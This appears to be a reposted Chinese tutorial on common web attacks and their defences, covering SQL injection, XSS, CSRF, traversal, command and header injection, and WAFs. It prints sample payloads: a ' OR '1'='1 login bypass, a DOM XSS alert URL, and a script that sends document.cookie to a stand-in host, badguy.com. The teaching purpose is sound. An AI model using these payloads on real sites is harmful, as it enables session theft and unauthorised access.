Web网站攻击技术

文章目录

  • Web应用体系结构脆弱性分析
    • HTTP协议安全问题
    • Cookie的安全问题
  • 常见Web应用攻击及防范
    • SQL注入攻击及防范
      • SQL注入原理
    • 防御注入漏洞
    • 跨站脚本(XSS)攻击及防范
      • 跨站脚本(XSS)攻击原理
    • 跨站脚本攻击类型
      • 储存式XSS
      • 反射式XSS
      • DOM式XSS
    • Cookie欺骗及防范
    • CSRF攻击及防范
      • 防御CSRF攻击
    • CSRF与XSS
      • 示例与关系
      • 总结
    • 目录遍历及其防范
      • 目录遍历防御
    • 操作系统命令注入及防范
      • OS命令注入
      • OS命令注入防御
    • HTTP消息头注入攻击及防范
      • HTTP消息头注入
      • HTTP消息头注入防御
    • 其它攻击
      • 恶意文件执行
      • 防御恶意文件执行漏洞
    • 不安全的直接对象引用
      • 防御不安全的直接对象引用
    • 认证和会话管理不完善
      • 防御会话管理攻击
  • Web应用防火墙WAF
    • 基本原理
    • WAF部署
      • WAF部署:反向代理
      • WAF部署:透明代理

Web应用体系结构脆弱性分析

在这里插入图片描述

  • Web应用程序功能与安全隐患的对应关系
    在这里插入图片描述

HTTP协议安全问题

  • HTTP协议是一种简单的、无状态的应用层协议,无状态使攻击变得容易;基于ASCII码,传输的明文信息;互联网中存在的大量中间盒子,有可能导致一些新的攻击发生。
  • 中间盒子带来的HTTP安全问题

Cookie的安全问题

  • 使用Cookie的原因:解决无状态问题——保存客户服务器之间的一些状态信息。
  • Cookie是指网站为辨别用户身份、进行会话跟踪而储存在用户本地终端上的一些数据。服务器可以利用Cookie存储信息并经常性地维护这些信息,从而判断在HTTP传输中的状态。
  • Cookie的生存周期:Cookie在生成时就会被指定一个Expire值,到期自动清除。
  • 如果一台计算机上安装多个浏览器,每个浏览器都会在各自独立的空间存放Cookie。Cookie中的内容大多数经过了编码处理。
  • Cookie的一般格式
    NAME= VALUE; expires= DATE; path= PATH;domain= DOMAIN_NAME; secure
    autolog = bWlrzTpteXMxy3IzdA%3D%3D;expires=Sat, 01-Jan-2018 00:00:00 GMT; path=/;domain=victim.com
    
  • Cookie中包含敏感信息,如用户名、计算机名、使用的浏览器和曾经访问的网站等,攻击者可以利用它来进行窃密和欺骗攻击。

常见Web应用攻击及防范

  • 最普遍的注入漏洞包括:
    • SQL注入:通过SQL语句恶意地调用后台数据库
    • 系统调用
    • 通过shell命令调用外部程序

SQL注入攻击及防范

  • SQL注入:通过SQL语句恶意地调用后台数据库
  • 任何依赖于解释执行的Web应用都有被注入漏洞攻击的危险

SQL注入原理

  • 攻击者通过向应用程序的输入字段注入恶意的SQL代码,进而操纵应用程序与数据库的交互,从而窃取、篡改或删除数据。了解SQL注入的原理对防止和检测这种攻击至关重要。

  1. 用户输入未经过滤

    • 应用程序接受用户输入(如表单、URL参数、Cookie等),并将其直接插入到SQL查询中,而没有进行适当的输入验证或过滤。
  2. 构造恶意SQL语句

    • 攻击者通过在输入字段中插入特制的SQL代码,使得这些代码在与合法查询拼接时,形成恶意的SQL语句。
  3. 执行恶意查询

    • 数据库服务器执行了由拼接后的SQL语句,导致预期之外的操作,如数据泄露、数据篡改、数据库表删除等。
  • 简单的SQL注入示例:攻击者输入以下内容:
    • 用户名:' OR '1'='1
    • 密码:' OR '1'='1
  • 拼接后的SQL查询会变成:
    SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '' OR '1'='1';
    
  • 由于 '1'='1' 永远为真,查询将绕过身份验证,返回所有用户的数据。

防御注入漏洞

  • 使用特定语言的库函数来代替shell命令和系统调用
  • 对用户输入的信息进行严格检查和过滤
  • 使用“最小权限”限制数据库用户的权限

跨站脚本(XSS)攻击及防范

跨站脚本(XSS)攻击原理

  • Cross-Site Scripting (XSS)工作原理: 输入插入包含有JavaScript或其它恶意脚本
  • 嵌入JavaScript脚本的例子:
    <script>window.open(http:/badguy.com/info.pl?document.cookie)
    </script>
    
  • 问题根源:不当的服务器端输入检查,从而允许用户输入可被客户端浏览器解释的脚本命令。
  • XSS是最普遍的Web程序安全问题
    在这里插入图片描述

跨站脚本攻击类型

  • 跨站脚本攻击分为:储存式跨站脚本攻击(持久性跨站脚本攻击)和反射式XSS(非持久性跨站脚本攻击)

储存式XSS

  • 储存式跨站脚本攻击(持久性跨站脚本攻击)。如果Web程序允许存储用户数据,并且存储的输入数据没有经过正确的过滤,就有可能发生这类攻击。
  • 在这种攻击模式下,攻击者并不需要利用一个恶意链接,只要用户访问储存式跨站脚本网页,那么恶意数据就将显示为网站的一部分并以受害者身份执行。

反射式XSS

  • 反射式XSS(非持久性跨站脚本攻击),是一种最常见的跨站脚本攻击类型。
  • Web客户端使用Server端脚本生成页面为用户提供数据时,如果未经验证的用户数据被包含在页面中而未经HTML实体编码,客户端代码便能够注入到动态页面中。
  • 在这种攻击模式下,Web程序不会存储恶意脚本,它会将未经验证的数据通过请求发送给客户端,攻击者就可以构造恶意的URL链接或表单并诱骗用户访问,最终达到利用受害者身份执行恶意代码的目的。

DOM式XSS

  • DOM式XSS攻击并不是按照“数据是否保存在服务端”划分的,它是反射式XSS的一种特例,只是由于DOM式XSS的形成原因比较特殊,因此把它单独作为一个分类。

  • 它通过操纵网页的DOM结构来注入恶意代码。与传统的反射型或存储型XSS不同,DOM式XSS不依赖于服务器端的漏洞,而是直接在客户端(浏览器)中发生。这种攻击利用JavaScript来操作DOM节点,从而注入并执行恶意脚本。

  • DOM式XSS的工作原理

  1. 注入恶意输入

    • 攻击者通过各种输入途径(如URL参数、表单输入、Hash片段等)将恶意JavaScript代码注入到网页中。
  2. 操纵DOM

    • 被注入的恶意输入被网页的JavaScript代码读取并直接用于操作DOM。这些操作可能包括修改页面内容、创建和执行新的脚本标签、改变现有DOM节点的属性等。
  3. 执行恶意脚本

    • 当网页的JavaScript执行这些操作时,注入的恶意代码被执行,导致XSS攻击。
  • 示例:假设有一个网页,通过读取URL参数并将其插入到页面中显示:
    <!DOCTYPE html>
    <html>
    <head><title>DOM XSS Example</title><script>// 获取URL参数var params = new URLSearchParams(window.location.search);var userInput = params.get('input');// 将用户输入插入到DOM中document.addEventListener('DOMContentLoaded', function() {document.getElementById('output').innerHTML = userInput;});</script>
    </head>
    <body><h1>DOM XSS Example</h1><div id="output"></div>
    </body>
    </html>
    
  • 攻击者可以构造一个恶意URL,如:
    http://example.com/page.html?input=<script>alert('XSS')</script>
    
  • 当用户访问这个URL时,页面中的JavaScript代码会将恶意的<script>标签插入到DOM中并执行,导致XSS攻击。

Cookie欺骗及防范

  • 伪造Cookie信息:伪造Cookie信息,绕过网站的验证过程,不需要输入密码,就可以登录网站,甚至进入网站管理后台。
  • 在本地保存Cookie可能导致保存的消息如:用户名、口令以及权限信息,泄露。
  • 安全原则:一般情况下,网站会话管理机制仅将会话ID保存至Cookie,而将数据本身保存在Web服务器的内存或文件、数据库中
  • 监听Cookie来实现会话劫持:如果Cookie中没有设置安全属性secure”,则Cookie内容在网络中用明文传输,攻击者监听到Cookie内容后可以轻松实现会话劫持

CSRF攻击及防范

  • 跨站请求仿冒(CSRF Cross Site Request Forgery)
    在这里插入图片描述
  • 现在绝大多数网站都不会使用GET请求来进行数据更新,而是采用POST来提交,即使这样,攻击者仍然能够实施CSRF攻击。

防御CSRF攻击

  • 现有银行的网银交易流程要比例子复杂得多,同时还需要USBkey、验证码、登录密码和支付密码等一系列安全信息,一般并不存在CSRF安全漏洞,安全是有保障的。
  • 措施
    1. 从Web应用程序中删除所有XSS漏洞。
    2. 在URL和表单中增加的每个请求,必须提供基本会话令牌以外的每个请求用户验证。
    3. 每次提出一个可信行为时,对发出请求的用户进行验证。
    4. 设定短暂的可信用户会话时间,完成任务后记得退出可信会话,删除所有cookie。

CSRF与XSS

类别CSRF(跨站请求伪造)XSS(跨站脚本攻击)
主要区别利用Web服务器端的漏洞利用Web客户端的漏洞
攻击目标未经授权的请求注入并执行恶意脚本
攻击方式通过伪造受信任用户的请求,强制用户在已认证的Web应用中执行不期望的操作通过将恶意脚本注入到网页中,并在用户浏览器中执行,窃取数据或劫持会话
依赖条件需要用户在已认证的状态下访问攻击页面需要找到输入点以注入恶意脚本
典型场景例如:在用户不知情的情况下,利用其身份发起转账请求例如:显示用户输入的内容而未经过滤,从而执行注入的JavaScript代码
防御措施使用CSRF令牌、验证HTTP Referer头、双重提交Cookie输入验证和过滤、使用安全的API、实施内容安全策略(CSP)
相互关系XSS攻击可以成为实施CSRF攻击的前置步骤,通过XSS获取有用的攻击信息,如用户的身份信息通过XSS攻击,攻击者可以伪造一个表单提示用户输入身份信息,进一步实施CSRF攻击

示例与关系

  • CSRF示例

    • 攻击者构造一个恶意链接或表单,诱使用户点击或提交,从而在用户已登录的情况下执行未经授权的操作,如转账、修改设置等。
  • XSS示例

    • 攻击者找到网站的输入点,如评论框,并注入恶意JavaScript代码。当其他用户访问该页面时,代码在其浏览器中执行,可能导致Cookie窃取、会话劫持等。

总结

  • 重大区别
    • CSRF主要是利用Web服务器端的漏洞,在用户不知情的情况下执行未经授权的操作。
    • XSS主要是利用Web客户端的漏洞,通过注入并执行恶意脚本,影响用户会话或窃取敏感数据。
  • 相互关系
    • XSS攻击可以作为CSRF攻击的前置步骤。通过XSS攻击,攻击者可以获取用户的身份信息并进一步构造和发送伪造请求,实施CSRF攻击。

目录遍历及其防范

  • 许多Web应用支持外界以参数的形式来指定服务器上的文件名,如果服务器在处理用户请求时不对文件名进行充分校验,就可能出问题。如:文件被非法获取;文件被篡改;文件被删除
  • 一般来说,如果Web应用产生目录遍历漏洞需要满足以下3个条件:
    1. 外界能够指定文件名
    2. 能够使用绝对路径或相对路径等形式来指定其它目录的文件名
    3. 没有对拼接后的文件名进行校验就允许访问该文件

目录遍历防御

  • 避免由外界指定文件名
  • 文件名中不允许包含目录名
  • 限定文件中仅包含字母或数字

操作系统命令注入及防范

OS命令注入

  • 很多Web应用编程语言支持应用通过Shell执行操作系统(OS)命令。通过Shell执行OS命令,或开发中用到的某个方法在其内部使用了Shell,就有可能出现恶意利用Shell提供的功能来任意执行OS命令的情况,这就是OS命令注入。
  • 攻击成功的主要原因是Shell支持连续执行多条命令,如Unix操作系统Shell中使用分号(;)或管道(|)等字符支持连续执行多条命令,Windows操作系统cmd.exe使用&符号来连接多条命令。这些符号一般称为Shell的元字符,如果OS命令参数中混入了元字符,就会使攻击者添加的操作系统命令被执行,这就是OS注入漏洞产生的原因

OS命令注入防御

OS命令注入攻击防御策略:

  1. 选择不调用操作系统命令的实现方法,即不调用Shell功能,而用其它方法实现;
  2. 避免使用内部可能会调用Shell的函数;
  3. 不将外部输入的字符串作为命令行参数;
  4. 使用安全的函数对传递给操作系统的参数进行转义,消除Shell元字符带来的威胁。由于Shell转义规则的复杂性以及其它一些环境相关的原因,这一方法有时很难完全凑效。

HTTP消息头注入攻击及防范

HTTP消息头注入

  • 在重定向或生成Cookie时,基于外部传入的参数生成HTTP响应头。
  • HTTP响应头信息一般以文本格式逐行定义消息头,即消息头之间互相以换行符隔开。攻击者可以利用这一特点,在指定重定向目标URL或Cookie值的参数中插入换行符且该换行符又被直接作为响应输出,从而在受害者的浏览器上任意添加响应消息头或伪造响应消息体

HTTP消息头注入防御

  • 不将外部传入参数作为HTTP响应消息头输出,如不直接使用URL指定重定向目标,而是将其固定或通过编号等方式来指定,或使用Web应用开发工具中提供的会话变量来转交URL;
  • 由专门的API来进行重定向或生成Cookie,并严格检验生成消息头的参数中的换行符。

其它攻击

恶意文件执行

  • 恶意文件执行漏洞也称为不安全的远程文件包含漏洞;
  • 需要用户提供输入文件名的Web程序容易受到攻击:如果对用户输入不验证,攻击者可借此操控Web程序执行系统程序或外部URL;
  • 允许上传文件给Web程序带来的危害更大

防御恶意文件执行漏洞

  • 禁止用户输入被用作输入文件片断;
  • 对于必须要用户输入文件名、URL的地方,执行严格的检查验证输入合法性

不安全的直接对象引用

  • 不安全的直接对象引用漏洞也常称为目录遍历漏洞
  • 如果访问控制配置不合理,攻击者就可以不经授权地操作这些暴露的内部对象

防御不安全的直接对象引用

  • 锁定Web目录。使得通过网络访问Web服务器的用户都不能访问除专门用于存放Web内容的目录以外的目录
  • 对于每一次对象引用都要重新验证授权
  • 禁止通过参数暴露内部对象
  • 建议使用间接映射的方法取代简单的直接对象引用

认证和会话管理不完善

  • 会话管理:Session ID。唯一地标识用户,一个ID仅用于一次认证会话,由服务器生成,服务器期待用户在下一次请求时发送同样的ID。
  • 认证和会话管理攻击流程
    在这里插入图片描述

防御会话管理攻击

  • 使用长且复杂的随机Session ID
  • 对Session ID的传输、存储进行保护,防止被泄露和劫持
  • 使用SSL时,必须保护认证和Session ID两部分的内容
  • URL查询字符串中不要包含有User/Session任何信息

Web应用防火墙WAF

  • Web应用防火墙(Web Application Firewall, WAF)是一种专门保护Web应用免受的各种Web应用攻击的安全防护系统。
  • 对每一个HTTP/HTTPS请求进行内容检测和验证,确保每个用户请求有效且安全的情况下才交给Web服务器处理,对非法的请求予以实时阻断或隔离、记录、告警等,确保Web应用的安全性。

在这里插入图片描述

  • 基本安全功能:
    • 防止常见的各类网络攻击,如:SQL注入、XSS跨站、CSRF、网页后门等
    • 防止各类自动化攻击,如:暴力破解、撞库、批量注册、自动发贴等
    • 阻止其它常见威胁,如:爬虫、0 DAY攻击、代码分析、嗅探、数据篡改、越权访问、敏感信息泄漏、应用层DDoS、盗链、越权、扫描等

在这里插入图片描述

基本原理

  • WAF主要提供对Web应用层数据的解析,对不同的编码方式做强制多重转换还原为可分析的明文,对转换后的消息进行深度分析。主要的分析方法主要有两类,一类是基于规则的分析方法,另一类是异常检测方法

WAF部署

  • WAF部署:WAF部署在Web服务器的前面,一般是串行接入,不仅在硬件性能上要求高,而且不能影响Web服务,同时还要与负载均衡、Web Cache等Web服务器前的常见产品协调部署。
  • WAF的部署模式有三种:反向代理、透明代理、旁路常用的是反向、透明两种模式,因为旁路只有监听功能,不能对访问进行拦截、没有防护能力,因此使用的较少。

WAF部署:反向代理

在这里插入图片描述

WAF部署:透明代理

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/848562.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【数据结构】排序(直接插入、折半插入、希尔排序、快排、冒泡、选择、堆排序、归并排序、基数排序)

目录 排序一、插入排序1.直接插入排序2.折半插入排序3.希尔排序 二、交换排序1.快速排序2.冒泡排序 三、选择排序1. 简单选择排序2. 堆排序3. 树排序 四、归并排序(2-路归并排序)五、基数排序1. 桶排序&#xff08;适合元素关键字值集合并不大&#xff09;2. 基数排序基数排序的…

SpringCloud 服务调用 spring-cloud-starter-openfeign

spring-cloud-starter-openfeign 是 Spring Cloud 中的一个组件&#xff0c;用于在微服务架构中声明式地调用其他服务。它基于 Netflix 的 Feign 客户端进行了封装和增强&#xff0c;使其与 Spring Cloud 生态更好地集成。 1. Feign Feign 是一个声明式的 Web Service 客户端…

大功率回馈式负载:行业竞争态势

随着科技的不断发展&#xff0c;大功率回馈式负载在各个行业中的应用越来越广泛。大功率回馈式负载是一种能够将电能回馈到电网的设备&#xff0c;具有节能、环保、高效等优点。然而&#xff0c;随着市场竞争的加剧&#xff0c;大功率回馈式负载行业也面临着诸多挑战。 首先&am…

第二证券:A股重磅调整!富时中国A50指数将纳入中远海控中国中车

重要的音讯有哪些 A股&#xff0c;重磅调整&#xff01; 6月5日&#xff0c;富时罗素宣布对富时我国50指数、富时我国A50指数、富时我国A150指数、富时我国A200指数、富时我国A400指数的季度审阅变更。该变更将于2024年6月21日星期五收盘后&#xff08;即2024年6月24日星期一…

免费,C++蓝桥杯比赛历年真题--第14届蓝桥杯省赛真题(含答案解析和代码)

C蓝桥杯比赛历年真题–第14届蓝桥杯省赛真题 一、选择题 答案&#xff1a;A 解析&#xff1a; C中 bool 类型与 char 类型一样&#xff0c;都需要1 byte。一些其他类型的占用字节数:short:2 byte&#xff0c;int:4byte&#xff0c;long long:8 byte&#xff0c;double:8byte&…

探究MySQL中的“树”结构

1 引言 树高千丈,叶落求索 – 唐代杜牧 树结构在MySQL中常用于表示层次关系,如组织结构或分类体系。引入树结构可使数据之间建立父子关系,便于查询和管理。益处包括快速检索子节点、方便展示层次关系、支持递归查询等。 2 基础概念 2.1 名词解析 程序就像是一张有向图,你…

Linux操作系统:Spark在虚拟环境下的安装及部署

将Spark安装到指定目录 // 通过wget下载Spark安装包 $ wget https://d3kbcqa49mib13.cloudfront.net/spark-2.1.1-bin-hadoop2.7.tgz // 将spark解压到安装目录 $ tar –zxvf spark-2.1.1-bin-hadoop2.7.tgz –C /usr/local/ // 重命名 $ mv /usr/local/spark-2.1.1-bin-hado…

前端怎么debugger排查线上问题

前端怎么debugger排查线上问题 1.问题背景2.问题详细说明3.处理方案a.开发环境怎么找&#xff0c;步骤一样的&#xff1a;b.生产环境怎么找&#xff0c;步骤一样的&#xff1a;还有一种情况就是你的子盒子是使用csshover父盒子出来的&#xff0c; 4.demo地址&#xff1a; 1.问题…

java版MES系统全套源码,支持 SaaS 多租户,管理后台的 Vue3 版本采用 :vue-element-plus-admin

MES生产制造执行系统源码&#xff0c;有演示&#xff0c;自主研发&#xff0c;多个项目应用案例&#xff0c;成熟稳定。支持二次开发&#xff0c;商业授权后可商用。 MES系统是面向制造企业车间执行层的生产信息化管理系统&#xff0c;能实时监控生产过程、管理制造数据、优化生…

惊呆了!六西格玛培训竟然这么强大!——张驰咨询

六西格玛&#xff0c;这个在业界久负盛名的管理理念&#xff0c;它的魅力太强大了。曾听闻它能帮助企业和个人提升竞争力&#xff0c;但当真正走进这个培训体系时&#xff0c;会发现它的影响力远超你的想象。 在六西格玛的指导下&#xff0c;企业实现了显著的转变。之前那些看…

优化家庭网络,路由器无线中继配置全攻略(中兴E1600无线中继设置/如何解决没有预埋有线网络接口的问题/使用闲置路由实现WIFI扩展)

文章目录 📖 介绍 📖🏡 演示环境 🏡📒 网络优化 📒📒 操作步骤 📒💡适用场景🚨 常见问题及解决方案⚓️ 相关链接 ⚓️📖 介绍 📖 在现代家庭生活中,WiFi已经渗透到我们生活的每一个角落,成为了日常生活中不可或缺的一部分。然而,不少用户常常遇到W…

区块链简要介绍及运用的技术

一、区块链的由来 区块链概念最早是从比特币衍生出来的。 比特币&#xff08;Bitcoin&#xff09;诞生于2008年&#xff0c;是由一个名叫中本聪&#xff08;Satoshi Nakamoto&#xff09;的人首次提出&#xff0c;这个人非常神秘&#xff0c;至今没有他的任何准确信息。在提出…

Windows下Qt5.14.2连接华为IoTDA平台

一、华为IoTDA简介 华为云物联网平台&#xff08;IoT 设备接入云服务&#xff09;提供海量设备的接入和管理能力&#xff0c;将物理设备联接到云&#xff0c;支撑设备数据采集上云和云端下发命令给设备进行远程控制&#xff0c;配合华为云其他产品&#xff0c;帮助您快速构筑物…

教师自费出书的注意事项有哪些?

备案主编专著的优势&#xff1a;&#xff08;qkfb88688&#xff09; 1、副高、正高职称最高学术成果 2、专著可以代替核心 3、周期短、出书快、可重复使用 4、双号齐全&#xff1a;ISBN&#xff5e;CIP 5、版权长期有效 教师自费出书有以下一些注意事项&#xff1a; 关于书稿&…

二、线性回归模型

目录 一、线性回归 1.模型示例 2.代码实验&#xff08;C1_W1_Lab03_Model_Representation&#xff09; (1).工具使用 (2).问题描述-房价预测 (3).输入数据 (4).绘制数据集坐标点 (5).建模构造函数 二、代价函数&#xff08;Cost function&#xff09; 1.解释一下概念…

mysql用户管理知识点

1、权限表 1.1、user表 1.1.1、用户列 Host、User、Password分别表示主机名、用户名、密码 1.1.2、权限列 决定了用户的权限&#xff0c;描述了在全局范围内允许对数据和数据库进行操作。 1.1.3、安全列 安全列有6个字段&#xff0c;其中两个是ssl相关的&#xff0c;2个是x509相…

敦煌网、ebay、速卖通等平台一直被差评怎么办?

在电商行业里一直都有一句话&#xff0c;有评行走天下&#xff0c;无评寸步难行 而没有review打造爆款的案例是少之甚少&#xff0c;众所周知&#xff0c;review已经成为用户衡量一件商品的标尺&#xff0c;目前我也是看到一个文章上面写到&#xff0c;一个卖家表示自己平时运…

形如SyntaxError: EOL while scanning string literal,以红色波浪线形式在Pycharm下出现

背景&#xff1a; 新手在学习Python时可能会出现如下图所示的报错 下面分情况教大家如何解决 视频教程【推荐】&#xff1a; 形如SyntaxError: EOL while scanning string literal&#xff0c;以红色波浪线形式在Pycharm下出现 过程&#xff1a; 问题概述&#xff1a; 简单…

React中使用 ts 后,craco库配置别名时需要注意什么?

文章目录 前言编译报错如下解决方式总结 前言 我们都知道craco库可以用来覆盖react配置&#xff0c;如设置别名等。但是在项目使用 Typescript 后&#xff0c;我们需要额外配置&#xff0c;否则会造成编译报错。 详细craco配置可以查看之前文章&#xff1a; 项目初始化与配置…

探索 LLM 预训练的挑战,GPU 集群架构实战

万卡 GPU 集群实战&#xff1a;探索 LLM 预训练的挑战 一、背景 在过往的文章中&#xff0c;我们详细阐述了LLM预训练的数据集、清洗流程、索引格式&#xff0c;以及微调、推理和RAG技术&#xff0c;并介绍了GPU及万卡集群的构建。然而&#xff0c;LLM预训练的具体细节尚待进一…